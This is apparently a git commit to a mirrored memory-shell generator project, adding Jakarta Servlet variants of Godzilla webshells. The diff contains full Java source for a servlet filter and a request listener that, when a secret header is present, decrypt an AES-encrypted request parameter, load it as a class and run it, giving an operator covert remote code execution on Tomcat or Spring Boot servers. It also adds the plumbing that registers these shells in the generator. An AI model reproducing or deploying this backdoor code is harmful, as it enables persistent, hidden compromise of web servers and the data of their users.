mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
add: 添加对 Jakarta Servlet 的支持(SpringBoot 3.x/Tomcat 10.x)
This commit is contained in:
@@ -54,6 +54,11 @@ public class GodzillaGenerator implements IShellGenerator {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = ctClass.toBytecode();
|
||||
|
||||
+137
@@ -0,0 +1,137 @@
|
||||
package jmg.godzilla.memshell;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.math.BigInteger;
|
||||
import java.security.MessageDigest;
|
||||
|
||||
|
||||
public class GodzillaJakartaFilter extends ClassLoader implements Filter {
|
||||
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
|
||||
|
||||
static {
|
||||
md5 = md5(pass + key);
|
||||
}
|
||||
|
||||
public GodzillaJakartaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaJakartaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
md5 = md5(pass + key);
|
||||
}
|
||||
|
||||
public Class Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static String md5(String s) {
|
||||
String ret = null;
|
||||
try {
|
||||
MessageDigest m = MessageDigest.getInstance("MD5");
|
||||
m.update(s.getBytes(), 0, s.length());
|
||||
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
|
||||
} catch (Exception var3) {
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
// 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request);
|
||||
// f.equals(data);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
|
||||
}
|
||||
}
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,162 @@
|
||||
package jmg.godzilla.memshell;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.math.BigInteger;
|
||||
import java.security.MessageDigest;
|
||||
|
||||
|
||||
/**
|
||||
* @author pen4uin
|
||||
* @time 2024/8/25 14:25
|
||||
*/
|
||||
|
||||
public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String key;
|
||||
public static String pass;
|
||||
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
static String md5;
|
||||
public static String cs;
|
||||
|
||||
static {
|
||||
md5 = md5(pass + key);
|
||||
cs = "UTF-8";
|
||||
}
|
||||
|
||||
public GodzillaJakartaListener() {
|
||||
}
|
||||
|
||||
public GodzillaJakartaListener(ClassLoader z) {
|
||||
super(z);
|
||||
md5 = md5(pass + key);
|
||||
cs = "UTF-8";
|
||||
}
|
||||
|
||||
public Class Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
// f.equals(data);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
// 提交 response、清空缓冲区,防止后续处理流程中 response 被覆盖导致连接失败
|
||||
response.flushBuffer();
|
||||
}
|
||||
}
|
||||
} catch (Exception var8) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
public static String md5(String s) {
|
||||
String ret = null;
|
||||
try {
|
||||
MessageDigest m = MessageDigest.getInstance("MD5");
|
||||
m.update(s.getBytes(), 0, s.length());
|
||||
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
|
||||
} catch (Exception var3) {
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,7 @@
|
||||
package jmg.godzilla.util;
|
||||
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.godzilla.memshell.GodzillaFilter;
|
||||
import jmg.godzilla.memshell.GodzillaInterceptor;
|
||||
import jmg.godzilla.memshell.GodzillaListener;
|
||||
import jmg.godzilla.memshell.GodzillaWebFluxHandlerMethod;
|
||||
import jmg.godzilla.memshell.*;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
@@ -35,12 +32,17 @@ public class ShellUtil {
|
||||
SHELL_CLASSNAME_MAP.put(GodzillaListener.class.getSimpleName(), GodzillaListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(GodzillaInterceptor.class.getSimpleName(), GodzillaInterceptor.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(GodzillaJakartaFilter.class.getSimpleName(), GodzillaJakartaFilter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(GodzillaJakartaListener.class.getSimpleName(), GodzillaJakartaListener.class.getName());
|
||||
|
||||
Map<String, String> godzillaMap = new HashMap();
|
||||
godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName());
|
||||
godzillaMap.put(Constants.SHELL_LISTENER, GodzillaListener.class.getSimpleName());
|
||||
godzillaMap.put(Constants.SHELL_INTERCEPTOR, GodzillaInterceptor.class.getSimpleName());
|
||||
godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName());
|
||||
godzillaMap.put(Constants.SHELL_JAKARTA_FILTER, GodzillaJakartaFilter.class.getSimpleName());
|
||||
godzillaMap.put(Constants.SHELL_JAKARTA_LISTENER, GodzillaJakartaListener.class.getSimpleName());
|
||||
|
||||
toolMap.put(Constants.TOOL_GODZILLA, godzillaMap);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user